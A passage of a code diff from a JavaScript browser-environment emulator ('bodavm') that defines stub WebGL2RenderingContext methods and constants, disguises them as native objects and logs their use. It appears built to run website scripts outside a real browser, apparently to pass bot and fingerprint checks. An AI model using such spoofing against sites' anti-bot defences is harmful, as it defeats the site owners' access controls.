bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "transformFeedbackVaryings", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform1ui", {configurable:true, enumerable:true, writable:true, value:function uniform1ui (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform1ui", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform2ui", {configurable:true, enumerable:true, writable:true, value:function uniform2ui (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform2ui", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform3ui", {configurable:true, enumerable:true, writable:true, value:function uniform3ui (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform3ui", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform4ui", {configurable:true, enumerable:true, writable:true, value:function uniform4ui (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform4ui", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformBlockBinding", {configurable:true, enumerable:true, writable:true, value:function uniformBlockBinding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformBlockBinding", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "useProgram", {configurable:true, enumerable:true, writable:true, value:function useProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "useProgram", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "validateProgram", {configurable:true, enumerable:true, writable:true, value:function validateProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "validateProgram", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribDivisor", {configurable:true, enumerable:true, writable:true, value:function vertexAttribDivisor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribDivisor", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribI4i", {configurable:true, enumerable:true, writable:true, value:function vertexAttribI4i (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribI4i", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribI4ui", {configurable:true, enumerable:true, writable:true, value:function vertexAttribI4ui (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribI4ui", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribIPointer", {configurable:true, enumerable:true, writable:true, value:function vertexAttribIPointer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribIPointer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "waitSync", {configurable:true, enumerable:true, writable:true, value:function waitSync (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "waitSync", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindBuffer", {configurable:true, enumerable:true, writable:true, value:function bindBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindFramebuffer", {configurable:true, enumerable:true, writable:true, value:function bindFramebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindFramebuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindTexture", {configurable:true, enumerable:true, writable:true, value:function bindTexture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindTexture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clear", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearBufferfi", {configurable:true, enumerable:true, writable:true, value:function clearBufferfi (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearBufferfi", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearBufferfv", {configurable:true, enumerable:true, writable:true, value:function clearBufferfv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearBufferfv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearBufferiv", {configurable:true, enumerable:true, writable:true, value:function clearBufferiv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearBufferiv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearBufferuiv", {configurable:true, enumerable:true, writable:true, value:function clearBufferuiv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearBufferuiv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearColor", {configurable:true, enumerable:true, writable:true, value:function clearColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearColor", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearDepth", {configurable:true, enumerable:true, writable:true, value:function clearDepth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearDepth", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearStencil", {configurable:true, enumerable:true, writable:true, value:function clearStencil (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearStencil", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "colorMask", {configurable:true, enumerable:true, writable:true, value:function colorMask (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "colorMask", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "disableVertexAttribArray", {configurable:true, enumerable:true, writable:true, value:function disableVertexAttribArray (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "disableVertexAttribArray", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawArrays", {configurable:true, enumerable:true, writable:true, value:function drawArrays (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawArrays", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawBuffers", {configurable:true, enumerable:true, writable:true, value:function drawBuffers (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawBuffers", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawElements", {configurable:true, enumerable:true, writable:true, value:function drawElements (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawElements", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "enableVertexAttribArray", {configurable:true, enumerable:true, writable:true, value:function enableVertexAttribArray (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "enableVertexAttribArray", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "scissor", {configurable:true, enumerable:true, writable:true, value:function scissor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "scissor", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform1f", {configurable:true, enumerable:true, writable:true, value:function uniform1f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform1f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform1fv", {configurable:true, enumerable:true, writable:true, value:function uniform1fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform1fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform1i", {configurable:true, enumerable:true, writable:true, value:function uniform1i (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform1i", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform1iv", {configurable:true, enumerable:true, writable:true, value:function uniform1iv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform1iv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform1uiv", {configurable:true, enumerable:true, writable:true, value:function uniform1uiv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform1uiv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform2f", {configurable:true, enumerable:true, writable:true, value:function uniform2f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform2f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform2fv", {configurable:true, enumerable:true, writable:true, value:function uniform2fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform2fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform2i", {configurable:true, enumerable:true, writable:true, value:function uniform2i (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform2i", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform2iv", {configurable:true, enumerable:true, writable:true, value:function uniform2iv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform2iv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform2uiv", {configurable:true, enumerable:true, writable:true, value:function uniform2uiv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform2uiv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform3f", {configurable:true, enumerable:true, writable:true, value:function uniform3f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform3f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform3fv", {configurable:true, enumerable:true, writable:true, value:function uniform3fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform3fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform3i", {configurable:true, enumerable:true, writable:true, value:function uniform3i (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform3i", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform3iv", {configurable:true, enumerable:true, writable:true, value:function uniform3iv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform3iv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform3uiv", {configurable:true, enumerable:true, writable:true, value:function uniform3uiv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform3uiv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform4f", {configurable:true, enumerable:true, writable:true, value:function uniform4f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform4f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform4fv", {configurable:true, enumerable:true, writable:true, value:function uniform4fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform4fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform4i", {configurable:true, enumerable:true, writable:true, value:function uniform4i (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform4i", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform4iv", {configurable:true, enumerable:true, writable:true, value:function uniform4iv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform4iv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform4uiv", {configurable:true, enumerable:true, writable:true, value:function uniform4uiv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform4uiv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix2fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix2fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix2fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix2x3fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix2x3fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix2x3fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix2x4fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix2x4fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix2x4fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix3fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix3fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix3fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix3x2fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix3x2fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix3x2fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix3x4fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix3x4fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix3x4fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix4fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix4fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix4fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix4x2fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix4x2fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix4x2fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix4x3fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix4x3fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix4x3fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib1f", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib1f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib1f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib1fv", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib1fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib1fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib2f", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib2f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib2f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib2fv", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib2fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib2fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib3f", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib3f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib3f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib3fv", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib3fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib3fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib4f", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib4f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib4f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib4fv", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib4fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib4fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribI4iv", {configurable:true, enumerable:true, writable:true, value:function vertexAttribI4iv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribI4iv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribI4uiv", {configurable:true, enumerable:true, writable:true, value:function vertexAttribI4uiv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribI4uiv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribPointer", {configurable:true, enumerable:true, writable:true, value:function vertexAttribPointer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribPointer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "viewport", {configurable:true, enumerable:true, writable:true, value:function viewport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "viewport", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "makeXRCompatible", {configurable:true, enumerable:true, writable:true, value:function makeXRCompatible (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "makeXRCompatible", arguments)}},'prototype'); +// WebGL2RenderingContext对象 + +bodavm.memory.globalobj['WebGL2RenderingContext'] = function WebGL2RenderingContext() { + console.log_copy('WebGL2RenderingContext 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGL2RenderingContext)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGL2RenderingContext'], "WebGL2RenderingContext"); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_BUFFER_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 256 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BUFFER_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 1024 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_BUFFER_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 16384 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POINTS", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINES", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINE_LOOP", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINE_STRIP", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRIANGLES", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRIANGLE_STRIP", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRIANGLE_FAN", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ZERO", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRC_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 768 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_SRC_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 769 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRC_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 770 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_SRC_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 771 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DST_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 772 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_DST_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 773 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DST_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 774 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_DST_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 775 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRC_ALPHA_SATURATE", { + configurable: false, + enumerable: true, + writable: false, + value: 776 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FUNC_ADD", { + configurable: false, + enumerable: true, + writable: false, + value: 32774 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_EQUATION", { + configurable: false, + enumerable: true, + writable: false, + value: 32777 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_EQUATION_RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 32777 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_EQUATION_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 34877 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FUNC_SUBTRACT", { + configurable: false, + enumerable: true, + writable: false, + value: 32778 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FUNC_REVERSE_SUBTRACT", { + configurable: false, + enumerable: true, + writable: false, + value: 32779 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_DST_RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 32968 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_SRC_RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 32969 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_DST_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32970 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_SRC_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32971 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONSTANT_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32769 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_CONSTANT_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32770 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONSTANT_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32771 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_CONSTANT_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32772 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32773 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ARRAY_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 34962 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ELEMENT_ARRAY_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 34963 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ARRAY_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34964 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ELEMENT_ARRAY_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34965 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STREAM_DRAW", { + configurable: false, + enumerable: true, + writable: false, + value: 35040 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STATIC_DRAW", { + configurable: false, + enumerable: true, + writable: false, + value: 35044 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DYNAMIC_DRAW", { + configurable: false, + enumerable: true, + writable: false, + value: 35048 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BUFFER_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34660 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', 